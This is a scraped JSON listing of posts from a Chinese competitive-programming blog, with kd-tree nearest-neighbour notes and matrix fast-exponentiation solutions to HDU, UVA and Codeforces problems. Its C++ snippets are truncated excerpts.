{ 72 if ","date":"2017-10-09","externalUrl":null,"permalink":"/2017/10/hdu-4347/","section":"Posts","summary":"题目链接 题意： # 给出若干个点，在给出一个定点，求距离该定点最近的m个点。","tags":["kd-tree","优先队列"],"title":"hdu 4347 The Closest M Points (kd-tree+优先队列，求M近邻)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 有若干个(2E5)旅馆，分别给出旅馆的坐标和价格。有m个查询，每个查询给出一个人的位置(x0,y0),以及其能接受的最高价格。问在该人能接受的价格内，距离其最近的旅馆的坐标和价格是多少。 思路： # kd-tree学习笔记 加了价格的限制其实无所谓，只要在更新的时候，先判一下价格就行了。 训练的时候不会kd-tree。。感觉有点可惜了。不然就6题了orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月08日 星期日 18时43分38秒 4File Name :5992.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=2E5+7; 35int n,m; 36struct Point 37{ 38 LL x,y; 39 int c; 40 int id; 41}p[N]; 42bool dv[N]; //划分方式 43bool cmpx( const Point \u0026 p1, const Point \u0026p2) 44{ 45 return p1.x\u003cp2.x; 46} 47bool cmpy(const Point \u0026p1 ,const Point \u0026p2) 48{ 49 return p1.y\u003cp2.y; 50} 51LL getDis( Point a, Point b) 52{ 53 return (a.x-b.x)*(a.x-b.x) + (a.y-b.y)*(a.y-b.y); 54} 55void build ( int l,int r) 56{ 57 if (l\u003er) return; 58 int mid = (l+r) \u003e\u003e 1; 59 int minx = min_element(p+l,p+r,cmpx)-\u003ex; 60 int miny = min_element(p+l,p+r,cmpy)-\u003ey; 61 int maxx = max_element(p+l,p+r,cmpx)-\u003ex; 62 int maxy = max_element(p+l,p+r,cmpy)-\u003ey; 63 dv[mid] = maxx-minx \u003e= maxy-miny; 64 nth_element(p+l,p+mid,p+r+1,dv[mid]?cmpx:cmpy); 65 build(l,mid-1); 66 build(mid+1,r); 67 68} 69LL res,ansid; 70void query( int l,int r,Point a) 71{ 72 if (l\u003er)","date":"2017-10-08","externalUrl":null,"permalink":"/2017/10/hdu-5992/","section":"Posts","summary":"题目链接 题意： # 有若干个(2E5)旅馆，分别给出旅馆的坐标和价格。有m个查询，每个查询给出一个人的位置(x0,y0),以及其能接受的最高价格。问在该人能接受的价格内，距离其最近的旅馆的坐标和价格是多少。","tags":["kd-tree"],"title":"hdu 5992 Finding Hotels (kd-tree 裸题,查询)","type":"post"},{"categories":["ACM"],"content":"题目链接：hdu2966 题意： # 给出二维平面上n(1E5)个点，问对于每个点，其他距离其最近的点的距离是多少。 思路： # kd-tree 裸题。 kd-tree 学习笔记 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月08日 星期日 18时43分38秒 4File Name :2996.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n; 36struct Point 37{ 38 LL x,y; 39}p[N],p2[N]; //复制一份，因为nth_element的时候会把顺序打乱。 40bool dv[N]; //划分方式 41bool cmpx( const Point \u0026 p1, const Point \u0026p2) 42{ 43 return p1.x\u003cp2.x; 44} 45bool cmpy(const Point \u0026p1 ,const Point \u0026p2) 46{ 47 return p1.y\u003cp2.y; 48} 49LL getDis( Point a, Point b) 50{ 51 return (a.x-b.x)*(a.x-b.x) + (a.y-b.y)*(a.y-b.y); 52} 53void build ( int l,int r) 54{ 55 if (l\u003er) return; 56 int mid = (l+r) \u003e\u003e 1; 57 int minx = min_element(p+l,p+r,cmpx)-\u003ex; 58 int miny = min_element(p+l,p+r,cmpy)-\u003ey; 59 int maxx = max_element(p+l,p+r,cmpx)-\u003ex; 60 int maxy = max_element(p+l,p+r,cmpy)-\u003ey; 61 dv[mid] = maxx-minx \u003e= maxy-miny; 62 nth_element(p+l,p+mid,p+r+1,dv[mid]?cmpx:cmpy); 63 build(l,mid-1); 64 build(mid+1,r); 65 66} 67LL res; 68void query( int l,int r,Point a) 69{ 70 if (l\u003er) return; 71 int mid = (l+r)\u003e\u003e1; 72 LL dis = getDis(a,p[mid]); 73 //printf(\"%lld %lld %lld %l","date":"2017-10-08","externalUrl":null,"permalink":"/2017/10/hdu-2966/","section":"Posts","summary":"题目链接：hdu2966 题意： # 给出二维平面上n(1E5)个点，问对于每个点，其他距离其最近的点的距离是多少。","tags":["kd-tree"],"title":"hdu 2966 In case of failure （ kd-tree（只有查询） 模板题）","type":"post"},{"categories":["ACM"],"content":"老规矩，资料先行。 好久没学新算法了，有点忘记怎么学了orz K-D tree 数据结构 hdu 2966 In case of failure　（k-d树　最近邻近点） 首先来看算法的提出。 现在二维平面上有n个点，知道这n个点的坐标，然后再添加一个点，问n个点中，距离新添加的点距离最近的点。 如果不做任何预处理，那么就是暴力枚举每个点，与该定点的距离。 如何优化呢？ 我们可以考虑把点域均等划分成若干个方块。 这样每次询问的时候只需要查询定点所在方格，以及定点相邻的8个方格中的点与该定点的距离即可。（除非这九个方格中没有点） 这种划分方法，对于随机数据大概是美滋滋，但是数据不会那么随机，因此划分也不能均等划 分。 这个时候， kd-tree 登场。k-d树（ **k-维树**的缩写）是在_k_维欧几里德空间组织点的数据结构 对于二维平面，kd-tree的思想是，提供一种平面的划分方法，使得对于任意输入数据，划分尽可能均匀。 **划分方法其实不唯一，常用的划分方法是，**对于k维中的每一维，按照方差最大的那一维划分。 （看到有些题解中，用该维度的极差（就是最大值-最小值）来作为度量，也就是按照极差最大的那一维度划分。） (用方差的度量往往比较慢，看到根据二叉树的深度，交替维度也是一种常用做法 比如2016青岛 onsite) 下面是具体的划分过程。 假设现在我们有平面上的点集 E ，其中有 5 个二维平面上的点 ： （1,4）（5,8） （4,2） （7,9） （10，11） 它们在平面上的分布如图： 首先，我们对区间 [ 1 , 5 ] 建树： 先计算区间中所有点在第一维（也就是 x 坐标）上的方差： 平均值 ： ave_1 =5.4 方差 ： varance_1 =9.04 再计算区间中所有点在第二维（也就是 y 坐标）上的方差： 平均值：ave_2 =6.8 方差：varance_2 =10.96 明显看见，varance_2 \u003e varance_1 ，那么我们在本次建树中，分裂方式 ：split_method =2 ， 再将所有的点按照 第 2 维 的大小从小到大排序，得到了新的点的一个排列： （4,2） （1,4）（5,8） （7,9） （10,11） 取中间的点作为分裂点 sorted_mid =（5，8）作为根节点，再把区间 [ 1 , 2] 建成左子树 , [ 4 , 5] 建成右子树，此时，直线 ： y = 8 将平面分裂成了两半，前面一半给左儿子，后面一半给了右儿子，如图： 建左子树 [1 , 3 ] 的时候可以发现，这时候是 第一维 的方差大 ，分裂方式就是1 ，把区间 [ 1, 2 ] 中的点按照 第一维 的大小，从小到大排序 ，取中间点（1,4） 根节点，再以区间 [ 2, 2] 建立右子树 得到节点 （4,2） 建右子树 [4 , 5 ] 的时候可以发现，这时还是 第一维 的方差大， 于是，我们便得到了这样的一颗二叉树 也就是 K-D tree，它把平面分成了如下的小平面，使得每个小平面中最多有一个点： 可以看见，我们实际上在建树的过程中，把整个平面分成了 4 个部分 树是建了，那么查询呢? 查询过程： 查询，其实相当于我们要将一个点“添加”到已经建好的 K-D tree 中，但并不是真的添加进去，只是找到他应该处于的子空间即可，所以查询就显得简单的毒攻了 每次在一个区间中查询的时候，先看这个区间的分裂方式是什么，也就是说，先看这个区间是按照哪一维来分裂的，这样如果这个点对应的那一维上面的值比根节点的小，就在根节点的左子树上进行查询操作，如果是大的话，就在右子树上进查询操作 每次回溯到了根节点（也就是说，对他的一个子树的查找已经完成了）的时候，判断一下，以该点为圆心，目前找到的最小距离为半径，看是否和分裂区间的那一维所构成的平面相交，要是相交的话，最近点可能还在另一个子树上，所以还要再查询另一个子树，同时，还要看能否用根节点到该点的距离来更新我们的最近距离。为什么是这样的，我们可以用一幅图来说明： 在查询到左儿子的时候，我们发现，现在最小的距离是 r = 10 ，当回溯到父亲节点的时候，我们发现，以目标点（10,1）为圆心，现在的最小距离 r = 10 为半径做圆，与分割平面 y = 8 相交，这时候，如果","date":"2017-10-08","externalUrl":null,"permalink":"/2017/10/kd-tree-notes/","section":"Posts","summary":"老规矩，资料先行。 好久没学新算法了，有点忘记怎么学了orz K-D tree 数据结构","tags":["kd-tree"],"title":"kd tree 学习笔记","type":"post"},{"categories":["ACM"],"content":"题意： # W_H的方格纸，共有(w+1)_(H+1)个整点，现在将2个蜡烛放在2个不同的整点上。蜡烛不会被放在边界上。现在给出方格纸的尺寸和2个蜡烛的坐标，求一条线段将方格纸拆成2部分，而且这条线段不经过任何一个蜡烛且使得每一部分恰好有一个蜡烛。问线段的起点和终点。 思路： # 为了方便讨论，我们将x坐标小的设为蜡烛1，另一个设为蜡烛2. 分两种情况讨论，即横坐标相同和不同2种情况。 需要注意的是…要交文件orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月02日 星期一 12时34分38秒 4File Name :A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34LL w,h,ax,ay,bx,by; 35int main() 36{ 37 freopen(\"anniversary.in\",\"r\",stdin); 38 freopen(\"anniversary.out\",\"w\",stdout); 39 cin\u003e\u003ew\u003e\u003eh\u003e\u003eax\u003e\u003eay\u003e\u003ebx\u003e\u003eby; 40 if (ax\u003ebx) 41 { 42 swap(ax,bx); 43 swap(ay,by); 44 } 45 if (ax!=bx) 46 { 47 printf(\"%lld %lld %lld %lld\\n\",ax,0LL,ax+1,h); 48 } 49 else 50 { 51 LL my = min(ay,by); 52 printf(\"%lld %lld %lld %lld\\n\",0LL,my,w,my+1); 53 } 54 55 return 0; 56}","date":"2017-10-03","externalUrl":null,"permalink":"/2017/10/2016-NEERC-subregional-A/","section":"Posts","summary":"题意： # W_H的方格纸，共有(w+1)_(H+1)个整点，现在将2个蜡烛放在2个不同的整点上。蜡烛不会被放在边界上。现在给出方格纸的尺寸和2个蜡烛的坐标，求一条线段将方格纸拆成2部分，而且这条线段不经过任何一个蜡烛且使得每一部分恰好有一个蜡烛。问线段的起点和终点。","tags":["算法竞赛"],"title":"2016 NEERC  Northern Subregional Contest  A Anniversary Cake （水题）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 有一只熊，初始在(sx,sy)处，如果当前的位置在(x,y)，那么下一秒会在((x+dx-1)%n+1,(y+dy-1)%n+1)处， dx[i] = k[i-1] + dx[i-1],dy[i]=k[i-1] + dy[i-1]，k表示的是某个点的花丛数目。 初始点(x,y)的花丛数为x+y,每经过一个时间，所有点的花丛数增加1. 所以，k[i] = x[i] + y[i] + i-1，现在问经过时间t后，熊的位置在哪里。也就是x[t],y[t]的值。 思路： # 我们不妨先只考虑x方向的，因为y方向完全相同。 观察x[t]的式子， x[t] = (x[t-1] + dx[t-1] -1) % n +1。。这个%n之后+1简直蛋疼得一逼。。。 我们不妨构造_g[t] = x[t]-1_，这样原式子就变成了 _g[t] = (g[t-1] + dx[t-1]) %n _…看起来爽了很多。。。 观察式子_g[t] = (g[t-1] + dx[t-1]) % n_，我们发现这是一个前缀和的形式。 根据在hdu4686解题报告 中提到的经验，对于求和的式子，我们只需要考虑每一项的构造法。 因此问题转化成构造矩阵dx[t] dx[t] = k[t-1] + dx[t-1] 其中_k[t] = x[t] + y[t] + t-1,_我们写成gx[t]和gy[t]的形式 有**k[t] = gx[t] + gy[t] + t + 1** 而_k[t-1] = gx[t-1] + gy[t-1] + t_ 因此可以得到k[t-1]与k[t]之间的递推关系:** k[t] = k[t-1] + dx[t-1] + dy[t-1] + 1** 观察到k[t]的表达式中同时包含dx,dy项，因此之前考虑的单独处理x和y的想法应该是行不通的。我们考虑同事处理x,y。","date":"2017-10-02","externalUrl":null,"permalink":"/2017/10/codeforces-div2-385e/","section":"Posts","summary":"题目链接 题意： # 有一只熊，初始在(sx,sy)处，如果当前的位置在(x,y)，那么下一秒会在((x+dx-1)%n+1,(y+dy-1)%n+1)处， dx[i] = k[i-1] + dx[i-1],dy[i]=k[i-1] + dy[i-1]，k表示的是某个点的花丛数目。","tags":["快速幂","矩阵"],"title":"codeforces 385 E. Bear in the Field (先记录想法）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 求f[n] = f[n-1] + f[n-2] + 1，在b(10000)进制下的最后一位数字的十进制表示。 思路： # 构造矩阵即可，M矩阵是一个3_3的矩阵，M1矩阵是一个3_1的矩阵。。很easy，就不说了。 写题解的目的是，对于这种要求b进制下，最后一位或者最后两位的数字的十进制表示的问题，其实就是在说，取模的数是base或者base^2 1A美滋滋 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月01日 星期日 18时39分17秒 4File Name :10518.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N = 5; 35LL n,base; 36struct Mat 37{ 38 LL mat[N][N]; 39 void clear() 40 { 41 ms(mat,0); 42 } 43}M,M1; 44Mat operator * ( Mat a,Mat b) 45{ 46 Mat c; 47 c.clear(); 48 for ( int i = 0 ; i \u003c 3 ; i++) 49 for ( int j = 0 ; j \u003c 3 ; j++) 50 for ( int k = 0 ; k \u003c 3 ; k++) 51 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]% base)se; 52 53 return c; 54} 55 56Mat operator ^ (Mat a,LL b) 57{ 58 Mat ret; 59 ret.clear(); 60 for ( int i = 0 ; i \u003c 3 ; i++) ret.mat[i][i] = 1; 61 while (b\u003e0) 62 { 63 if (b\u00261) ret = ret * a; 64 b = b \u003e\u003e 1LL; 65 a = a * a; 66 } 67 return ret; 68} 69LL solve() 70{ 71 if (n==0) return 0; 72 if (n==1) return 1; 73 M.clear(); 74 M1.clear(); 75 M.mat[0][0] = M.mat[0][1] = M.mat[0][2] = 1; 76 M.mat[1][0] = M.mat[2][2] = 1; 77 M1.mat[0][0]=M1.mat[1][0]=M1.mat[2][0] = 1; ","date":"2017-10-01","externalUrl":null,"permalink":"/2017/10/uva-10518/","section":"Posts","summary":"题目链接 题意： # 求f[n] = f[n-1] + f[n-2] + 1，在b(10000)进制下的最后一位数字的十进制表示。","tags":["快速幂","构造","矩阵"],"title":"UVA - 10518  How Many Calls?  (构造矩阵，快速幂)","type":"post"},{"categories":["ACM"],"content":"hdu4686题目链接 题意： # An Arc of Dream is a curve defined by following function: where a 0 = A0 a i = a i-1_AX+AY b 0 = B0 b i = b i-1_BX+BY What is the value of AoD(N) modulo 1,000,000,007? 思路： # 看n的1E18的范围也知道是矩阵快速幂。。 难点还是构造矩阵。 构造矩阵主要凭借经验，但是还是有一些规律可循： 1. 对于求和的式子，如 s[n] = sum{F[1]..F[n]}类似的式子，我们只需要考虑如何构造F[n]即可。 2. 尽量将要构造的表达式展开成，第n项，与前面项(第n-1项等)有关的形式。 3. 观察2中展开的表达式的系数，每一个系数都亚奥出现在转移矩阵M中。 4. 观察2中展开的表达式的项，基本每一项都要整体或者以其他形式出现在初始矩阵M1中 5. 我们并不很关心初始项。 6. 难点其实在于构造M1矩阵，也就是说哪些项是重要的。一般而言，**可能有的项是，s[n],f[n],常数项，以及为了构造出f[n]的辅助项。** 对于这道题： [ 然后矩阵快速幂即可。 1A 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月01日 星期日 13时34分52秒 4File Name :4686.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=10; 35const LL mod = 1E9+7; 36LL n,A0,Ax,Ay,B0,Bx,By; 37struct Mat 38{ 39 LL mat[N][N]; 40 void clear() 41 { 42 ms(mat,0); 43 } 44 void pr() 45 { 46 for ( int i = 0 ; i \u003c 5 ; i++) 47 for ( int j = 0 ; j \u003c 5 ; j++) 48 printf(\"%lld%c\",mat[i][j],j==4?'\\n':' '); 49 } 50}M,M1; 51Mat operator * (Mat a,Mat b) 52{ 53 Mat c; 54 c.clear(); 55 for ( int i = 0 ; i \u003c 5 ; i++) 56 for ( int j = 0 ; j \u003c 5 ; j++) 57 for ( int k = 0 ; k \u003c 5 ; k++) 58 { 59 a.m","date":"2017-10-01","externalUrl":null,"permalink":"/2017/10/hdu-4686/","section":"Posts","summary":"hdu4686题目链接 题意： # An Arc of Dream is a curve defined by following function:","tags":["快速幂","构造","矩阵"],"title":"hdu 4686 Arc of Dream  (构造矩阵，快速幂)","type":"post"},{"categories":["ACM"],"content":"uva10870题目链接 题意： # f(n) = a1f(n − 1) + a2f(n − 2) + a3f(n − 3) + . . . + adf(n − d), for n \u003e d 给出f[1]..f[d],a[1]..a[d],问 f[n]%m是多少。 思路： # 构造矩阵，加速递推式。 趁着这道题说一下一般的构造法。 转移矩阵M(d*d)的构造方法是，最后一行倒序写a[1]..a[d], 除去第一列和最后一行外，用1填充对角线，其余的为0. 初始矩阵M1(d*1)的构造方法是从上到下，f[1]..f[d]即可。 需要注意的是 *最后答案是 (M^(n-d))M1.mat[d-1][0] (由于经常出现的是d=2的递推式，因此注意不要把此式子的d，写成不够一般化的错误的2 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月01日 星期日 03时57分36秒 4File Name :10870.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=20; 35int n,d; 36LL mod; 37LL a[N],f[N]; 38struct Mat 39{ 40 LL mat[N][N]; 41 void clear() 42 { 43 ms(mat,0); 44 } 45 void print() 46 { 47 for ( int i = 0 ; i \u003c d ; i++) 48 for ( int j = 0 ; j \u003c d ; j++) 49 printf(\"%lld%c\",mat[i][j],j==d-1?'\\n':' '); 50 } 51}M,M1; 52 53Mat operator * (Mat a,Mat b) 54{ 55 Mat c; 56 c.clear(); 57 for ( int i = 0 ; i \u003c d ; i++) 58 for ( int j = 0 ; j \u003c d ; j++) 59 for ( int k = 0 ; k \u003c d ; k++) 60 { 61 a.mat[i][k]%=mod; 62 b.mat[k][j]%=mod; 63 c.mat[i][j] = (c.mat[i][j] + (a.mat[i][k] * b.mat[k][j])%mod)%mod; 64 } 65 return c; 66} 67Mat operator ^ (Mat a,LL b) 68{ 69 Mat ret; 70 ret.clear(); 71 for (","date":"2017-09-30","externalUrl":null,"permalink":"/2017/10/uva-10870/","section":"Posts","summary":"uva10870题目链接 题意： # f(n) = a1f(n − 1) + a2f(n − 2) + a3f(n − 3) + . . . + adf(n − d), for n \u003e d","tags":["快速幂","矩阵","矩阵快速幂"],"title":"uva 10870 - Recurrences (矩阵加速线性递推式)","type":"post"},{"categories":["ACM"],"content":"uva10655题目链接 题意： # 给出a+b和ab的值，问a^n+b^n 思路： # 构造矩阵,手写一下很显然… 转移矩阵M=[0 , 1] [-q,p ] 初始矩阵M1=[p ] [p^2-2*q] 快速幂即可。 有个坑点在于..读入的结束是p=0\u0026q=0,并且只有这两个输入。 如果用p=0\u0026\u0026q=0作为终止条件，那么就会将三个输入，但p==0\u0026\u0026q==0的情况错误得终止… 正确的做法是 while (~scanf(\"%lld%lld%lld\",\u0026p,\u0026q,\u0026n)==3) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月01日 星期日 03时01分38秒 4File Name :10655.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34LL p,q,n; 35struct Mat 36{ 37 LL mat[105][105]; 38 void clear() 39 { 40 ms(mat,0); 41 } 42}M,M1; 43Mat operator * (Mat a,Mat b) 44{ 45 Mat c; 46 c.clear(); 47 for ( int i = 0 ; i \u003c 2 ; i++) 48 for ( int j = 0 ; j \u003c 2 ; j++) 49 for ( int k = 0 ; k \u003c 2 ; k++) 50 c.mat[i][j] += a.mat[i][k] * b.mat[k][j]; 51 return c; 52} 53Mat operator ^ (Mat a,LL b) 54{ 55 Mat ret; 56 ret.clear(); 57 for ( int i = 0 ; i \u003c 2 ; i++) ret.mat[i][i] = 1LL; 58 59 while (b\u003e0) 60 { 61 if (b\u00261) ret = ret * a; 62 a = a * a; 63 b = b \u003e\u003e 1LL; 64 } 65 return ret; 66} 67LL solve() 68{ 69 if (n==0) return 2LL; 70 if (n==1) return p; 71 if (n==2) return p*p-2*q; 72 M1.clear(); 73 M1.mat[0][0] = p; 74 M1.mat[1][0] = p*p-2*q; 75 M.clear(); 76 M.mat[0][1] = 1; 77 M.mat[1][0] = -q; ","date":"2017-09-30","externalUrl":null,"permalink":"/2017/10/uva-10655/","section":"Posts","summary":"uva10655题目链接 题意： # 给出a+b和ab的值，问a^n+b^n","tags":["math","快速幂","矩阵"],"title":"uva 10655 - Contemplation! Algebra （构造矩阵，快速幂）","type":"post"},{"categories":["ACM"],"content":"16年北京网络赛遇到了这个技巧…但是竟然忘记记了下来？ 快速乘是为了解决 计算a_b % mod 时a_b溢出LL 的问题 比如a=1E16,b=1E16,mod=1E18，虽然最后的结果没有溢出，但是中间溢出了。 原理和快速幂很类似，具体可以参考 晴川大爷的专栏 1ll fastMultiplication(ll a,ll b,ll mod){ 2 ll ans = 0; 3 while(b){ 4 if(b%2==1){ 5 b--; 6 ans = ans + a; 7 ans %= mod; 8 }else{ 9 b /= 2; 10 a = a + a; 11 a %= mod; 12 } 13 } 14 return ans; 15} 完全就是把快速幂中的乘法变成加法了嘛（从记忆角度考虑orz 1inline long long multi(long long x,long long y,long long mod) 2{ 3long long tmp=(x*y-(long long)((long double)x/mod*y+1.0e-8)*mod); 4return tmp\u003c0 ? tmp+mod : tmp; 5}","date":"2017-09-30","externalUrl":null,"permalink":"/2017/09/fast-multiply-notes/","section":"Posts","summary":"16年北京网络赛遇到了这个技巧…但是竟然忘记记了下来？","tags":["快速乘"],"title":"快速乘","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给出了一段程序，程序实际算的是f[n] = (f[n-1] + n%2)%m的值，其中f[1]=1,给出n,m(1E9)，问f[n] 思路： # 显然是矩阵快速幂，终点在于构造矩阵。 通过经验可得（这次真的是经验了。。。其实也挺容易的，要点大概在于先把需要的项列在一起，然后增加0或者多个，为了转移需要的辅助项。 根据当前列和下一列，手动构造转移矩阵） 转移矩阵M为 [2, 1,0] [0,-1,1] [0,0 ,1] 4A..都是一个原因。。矩阵乘法那里。。。就算你%了m..也是两个1E9在相乘。。。然后就炸了23333,改成LL即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月30日 星期六 19时08分59秒 4File Name :4990.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f;le 34int n; 35LL mod; 36struct Mat 37{ 38 LL mat[8][8]; 39 void clear() 40 { 41 ms(mat,0); 42 } 43}M,M1; 44 45Mat operator * (Mat a,Mat b) 46{ 47 Mat c; 48 c.clear(); 49 for ( int i = 0 ; i \u003c 3 ; i++) 50 for ( int j = 0 ; j \u003c 3 ; j++) 51 for ( int k = 0 ; k \u003c 3 ; k++) 52 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k]%mod*b.mat[k][j]%mod)%mod; 53 return c; 54} 55Mat operator ^ (Mat a,int b) 56{ 57 Mat ret; 58 ret.clear(); 59 for ( int i = 0 ; i \u003c 3 ; i++) ret.mat[i][i] = 1; 60 61 while (b\u003e0) 62 { 63 if (b\u00261) ret = ret * a; 64 a = a * a; 65 b=b\u003e\u003e1; 66 } 67 return ret; 68} 69LL solve() 70{ 71 M.clear(); 72 M1.clear(); 73 M.mat[0][0]=2; 74 M.mat[0][1]=1; 75 M.mat[1][1]=-1; 76 M.mat[1][2]=1; 77 M.mat[2][2]=1; 78 79 M1.","date":"2017-09-30","externalUrl":null,"permalink":"/2017/09/hdu-4990/","section":"Posts","summary":"题目链接 题意： # 给出了一段程序，程序实际算的是f[n] = (f[n-1] + n%2)%m的值，其中f[1]=1,给出n,m(1E9)，问f[n]","tags":["构造","矩阵快速幂"],"title":"hdu 4990 Reading comprehension (构造矩阵，快速幂)","type":"post"},{"categories":["ACM"],"content":"hdu5015题目链接 题意： # 给出矩阵的构造规则： a[0][j] (j\u003e=1) 分别为233,2333,23333….给出a[i][0] (i\u003e=1)，对于其余的i,j,a[i][j]=a[i-1][j] + a[i][j-1] 现在问a[n][m] 在% 1E7+7 下的值是多少 